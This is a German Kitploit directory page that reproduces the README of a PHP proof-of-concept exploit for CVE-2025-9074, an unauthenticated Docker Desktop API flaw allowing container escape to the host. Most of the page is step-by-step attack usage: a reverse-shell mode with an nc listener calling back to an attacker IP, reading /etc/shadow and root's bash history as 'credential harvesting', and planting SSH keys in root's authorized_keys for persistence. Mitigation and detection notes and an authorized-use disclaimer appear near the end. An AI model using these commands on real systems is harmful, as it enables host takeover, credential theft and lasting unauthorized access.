Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-9074 — PHP poc, exploit for CVE-2025-9074 | Kitploit
Tools/GitHubGitHub/c0gnit00/cve-2025-9074
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationLateral MovementPost-ExploitationPenetration TestingCloud SecurityCommand and ControlRemote Access ToolContainer Escape
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
c0gnit00/cve-2025-9074

CVE-2025-9074

PHP poc, exploit for CVE-2025-9074

Repository anzeigen

CVE-2025-9074: Docker Engine API Nicht authentifizierte RCE

Schweregrad: KRITISCH | CVSS-Score: 9.8 (geschätzt) | Betroffene Versionen: Docker Desktop < 4.44.3

Ein Proof-of-Concept-Exploit für CVE-2025-9074, eine nicht authentifizierte Remote-Code-Ausführungs-Schwachstelle in der Docker Engine API, die privilegierte Container-Escapes und die Kompromittierung des Hostsystems ermöglicht.

🔴 Überblick über die Schwachstelle

CVE-2025-9074 ist eine kritische Schwachstelle in Docker Desktop, die die Docker Engine API ohne ordnungsgemäße Authentifizierung oder Netzwerkisolierung freigibt. Dies ermöglicht entfernten Angreifern:

  • Beliebige Befehle mit erhöhten Rechten auszuführen
  • Die Container-Isolation zu umgehen und auf das Host-Dateisystem zuzugreifen
  • Reverse-Shell-Verbindungen zu angreifergesteuerten Systemen herzustellen
  • Den gesamten Container-Host und das zugrunde liegende Host-Betriebssystem zu kompromittieren

Angriffsvektor

  • Netzwerkexposition: Docker API auf Netzwerkschnittstellen freigegeben (normalerweise Port 2375/TCP)
  • Keine Authentifizierung: Die API akzeptiert Anfragen ohne Authentifizierung
  • Privilegierte Container: Möglichkeit, privilegierte Container mit Zugriff auf das Host-Dateisystem zu erstellen
  • Bind-Mounts: Direkter Zugriff auf das Host-Dateisystem über Bind-Mount-Pfade

📋 Voraussetzungen

  • PHP CLI (7.0+)
  • curl-Erweiterung in PHP aktiviert
  • Netzwerkkonnektivität zum freigegebenen Docker-API-Endpunkt
  • Docker Desktop < 4.44.3 (verwundbare Version)

Systemanforderungen für das Ziel

Die Schwachstelle betrifft:

  • Docker Desktop für Windows < 4.44.3
  • Docker Desktop für Mac < 4.44.3
  • Docker Engine (wenn ohne TLS freigegeben)

🚀 Schnellstart

Installation

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074

Grundlegende Verwendung

Führen Sie einen einzelnen Befehl auf dem Docker-Host aus:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

Reverse Shell

Stellen Sie eine interaktive Reverse-Shell her:

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444

📖 Benutzungsanleitung

Befehlssyntax

root@kitploit:~
php poc.php -u <url> [options]

Optionen

Modus: Befehlsausführung

Führen Sie einzelne Befehle auf dem Ziel aus:

root@kitploit:~
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"

# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup

# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup

Modus: Reverse Shell

Erzeugen Sie eine interaktive Shell mit Rückruf:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444

Betriebssystemspezifische Beispiele

Linux-Ziel

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux

Windows-Ziel

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows

macOS-Ziel

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac

🎯 Szenarien für die Ausnutzung in der Praxis

1. Aufklärung

root@kitploit:~
# Host-System aufzählen
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

2. Anmeldeinformationsernte

root@kitploit:~
# Sensible Dateien extrahieren
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"

3. Persistenz

root@kitploit:~
# SSH-Schlüssel hinzufügen
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"

4. Seitwärtsbewegung

root@kitploit:~
# Laufende Container und Netzwerke aufzählen
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"

🔍 Technische Details

Schwachstellenmechanismus

  1. Freigelegter Docker-Socket/API: Docker API hört auf 0.0.0.0:2375 ohne Authentifizierung
  2. Erstellung privilegierter Container: POC erstellt privilegierte Container über /containers/create
  3. Bindung des Host-Dateisystems: Container verwenden Bind-Mounts, um auf das Host-Dateisystem zuzugreifen:
    • Linux: :/mnt/hostfs
    • macOS: :/mnt/hostfs
    • Windows: /mnt/host/c:/mnt/hostfs
  4. Befehl Ausführung: Befehle werden mit root/SYSTEM-Rechten innerhalb des Containers ausgeführt
  5. Zugriff auf das Host-Dateisystem: Direkter Lese-/Schreibzugriff auf /mnt/hostfs-Pfade

Payload-Ablauf

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine)                               │
└────────────┬────────────────────────────────────────┘
             │ HTTP REST API Call
             ▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED]     │
└────────────┬────────────────────────────────────────┘
             │ Creates Container
             ▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container                          │
│ ├─ Full Root Access                                 │
│ ├─ Bind Mount: /:/mnt/hostfs                       │
│ └─ Executes Attacker Command                        │
└────────────┬────────────────────────────────────────┘
             │ Command Output
             ▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker                          │
└─────────────────────────────────────────────────────┘

Code-Analyse

  • Docker-API-Interaktion: Verwendet cURL für HTTP/1.1-REST-API-Kommunikation
  • Docker-Log-Demultiplexing: Handhabt das multiplexierte Stream-Format von Docker ordnungsgemäß
  • Plattformübergreifende Unterstützung: Passt Bind-Mount-Pfade für Windows/Mac/Linux an
  • Timeout-Behandlung: 60-Sekunden-Timeout für lang laufende Befehle

🛡️ Gegenmaßnahmen

Sofortmaßnahmen

  1. Aktualisieren Sie Docker Desktop

    root@kitploit:~
    # Update to version 4.44.3 or later
    
  2. Netzwerkisolierung

    • Docker-API-Port (2375) nur auf localhost beschränken
    • Firewall-Regeln verwenden, um externen Zugriff zu blockieren
    • Docker-API-Socket-Exposition deaktivieren
  3. TLS-Authentifizierung aktivieren

    root@kitploit:~
    # Configure Docker daemon with TLS certificates
    # In daemon.json:
    {
      "tlsverify": true,
      "tlscacert": "/etc/docker/ca.pem",
      "tlscert": "/etc/docker/server-cert.pem",
      "tlskey": "/etc/docker/server-key.pem"
    }
    
  4. Netzwerksegmentierung

    • Docker Desktop in isolierten Netzwerken ausführen
    • Null-Vertrauens-Netzwerkzugriff implementieren
    • VPNs für Fernzugriff verwenden

Docker Desktop Einstellungen

  • Windows/Mac: Deaktivieren Sie „Expose daemon on tcp://localhost:2375"
  • Verwenden Sie Unix-Socket (/var/run/docker.sock) nur für lokalen Zugriff
  • Implementieren Sie Authentifizierung über Docker Context mit Anmeldeinformationen

📊 Erkennung

Netzwerkerkennung

root@kitploit:~
# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network

# Check if port responds to Docker API
curl -s http://target:2375/version

Log-Erkennung

  • Überwachen Sie Docker-Daemon-Protokolle auf ungewöhnliche API-Aufrufe
  • Alarm bei der Erstellung privilegierter Container
  • Verfolgen Sie Bind-Mount-Nutzungsmuster

⚠️ Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt.

  • Verwenden Sie diesen POC nur auf Systemen, die Ihnen gehören oder für die Sie ausdrückliche Testgenehmigung haben
  • Unbefugter Zugriff auf Computersysteme ist illegal
  • Benutzer übernehmen die volle Verantwortung für ihre Handlungen
  • Dieser POC dient autorisierten Penetrationstests und der Schwachstellenforschung

📝 Referenzen

  • Docker Engine Security
  • Docker API Documentation
  • CVE-2025-9074 Details
  • CWE-784: Reliance on Cookies without Proper Validation

🤝 Mitwirken

Beiträge sind willkommen! Bitte zögern Sie nicht, Issues oder Pull-Requests einzureichen.

📄 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert - siehe die LICENSE-Datei für Details.

👤 Autor

Sicherheitsforscher | Penetrationstester


Zuletzt aktualisiert: Mai 2025 | Status: Aktive Forschung

Tool herunterladen
OptionKurzErforderlichBeschreibung
--url-u✅ JaDocker API URL (z.B. http://1.2.3.4:2375)
--mode-m❌ NeinAusführungsmodus: cmd oder reverse (Standard: cmd)
--cmd-c⚠️ Für cmd-ModusBefehl, der auf dem Ziel ausgeführt werden soll
--lhost-l⚠️ Für reverse-ModusIhre IP-Adresse für den Rückruf
--lport-p❌ NeinIhr Lauschport (Standard: 4444)
--os—❌ NeinZiel-Betriebssystem: linux, mac, windows (Standard: linux)
--cleanup—❌ NeinContainer nach der Ausführung entfernen
--help-h❌ NeinHilfemeldung anzeigen